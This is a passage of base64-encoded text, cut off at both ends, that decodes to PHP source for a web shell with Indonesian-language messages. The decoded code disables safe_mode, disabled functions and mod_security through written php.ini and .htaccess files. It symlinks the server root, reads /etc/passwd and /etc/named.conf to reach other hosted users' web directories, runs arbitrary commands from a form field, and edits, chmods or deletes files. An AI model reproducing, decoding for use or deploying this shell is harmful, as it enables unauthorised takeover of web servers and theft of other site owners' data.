ZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUNCnNhZmVfbW9kZSA9IE9mZg0KCSIpOw0KCQlmY2xvc2UoJGZpbGUpOw0KCQllY2hvICI8YSBocmVmPSdwaHAuaW5pJz5jbGljayBoZXJlITwvYT4iOw0KfQkJaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQoJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7DQp9ICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydsaXRpbmknXSkpew0KCQkkaW5pcGggPSAnPD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsNCgkJCSAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsNCgkJJGNvbXA9IlBFWnBiR1Z6SUNvdWNHaHdQZzBLUm05eVkyVlVlWEJsSUdGd2NHeHBZMkYwYVc5dUwzZ3RhSFIwY0dRdGNHaHdOQTBLUEM5R2FXeGxjejQ9IjsNCgkJZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsNCgkJZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGNvbXApKTsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7DQoJCWVjaG8iPC9jZW50ZXI+IjsNCn0NCg0KfQ0KZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3N5bWxpbmsnKSB7DQokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpOw0KQGNoZGlyKCJrMHYzVF9zeW0iKTsNCkBleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIjxicj4NCjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+Uy4gTm8uPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+U3ltbGluazwvZm9udD48L3RkPg0KPC90cj4iOw0KJGRjb3VudCA9IDE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPg0KPHRkIGFsaWduPWxlZnQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+PGZvbnQgY2xhc3M9dHh0PiIuJGRvbWFpbnNbMV1bMF0uIjwvZm9udD48L2E+PC90ZD4NCjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNsYXNzPXR4dD5TeW1saW5rPC9mb250PjwvYT48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQokZGNvdW50Kys7fX19DQplY2hvICI8L3RhYmxlPiI7DQp9ZWxzZXsNCiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KaWYgKCRURVNUKXsNCkBta2RpcigiazB2M1Rfc3ltIiwwNzc3KTsNCkBjaGRpcigiazB2M1Rfc3ltIik7DQpleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCiBAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkZGNvdW50ID0gMTsNCiAkZmlsZSA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCiB3aGlsZSghZmVvZigkZmlsZSkpew0KICRzID0gZmdldHMoJGZpbGUpOw0KICRtYXRjaGVzID0gYXJyYXkoKTsNCiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsNCiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQogY29udGludWU7DQogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsNCiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPSRmdWxsL2swdjNUX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2RpcigiazB2M1Rfc3ltIiwwNzc3KTtAY2hkaXIoImswdjNUX3N5bSIpO0BleGUoImxuIC1zIC8gcm9vdCIpOyRmaWxlMyA9ICcNCiBPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9DQogZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7JGZpbGU1ID0NCiBmb3BlbigidGVzdC50eHQiLCJ3Iik7DQogZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCiBmY2xvc2UoJGZpbGU1KTskZGNvdW50ID0gMTskZmlsZSA9DQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOw0KICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikNCiBjb250aW51ZTsNCiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOw0KIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOw0KICRkY291bnQrKzt9DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOw0KIH0gZWxzZQ0KIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0zPkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOw0KIH0NCiB9DQojI0pVTVBJTkcgDQp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgew0KICAgICRpID0gMDsNCiAgICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7DQogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQppZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJGpydzsNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICANCiAgICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KICAgIH0NCiAgICBpZigkaSA9PSAwKSB7DQogICAgfSBlbHNlIHsNCmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KICAgIA0KICAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7DQoJCX0NCg0KDQoNCi8vQ09ORklHDQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCg0KLy9TVEFSVA0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgUGVybWlzc2lvbiBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpew0KaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5HYW50aSBOYW1hIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsNCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsNCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7DQppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5FZGl0IEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4NCjwvZm9ybT4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5IYXB1cyBEaXIgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkhhcHVzIEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj5IYXB1cyBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KfQ0KfQ0KCQkNCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyIGNsYXNzPSJmaXJzdCI+DQo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4NCjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+DQo8L3RyPic7DQoNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7DQppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4NCjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+PGZvbnQgY29sb3I9cmVkPiRkaXI8L2ZvbnQ+PC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj48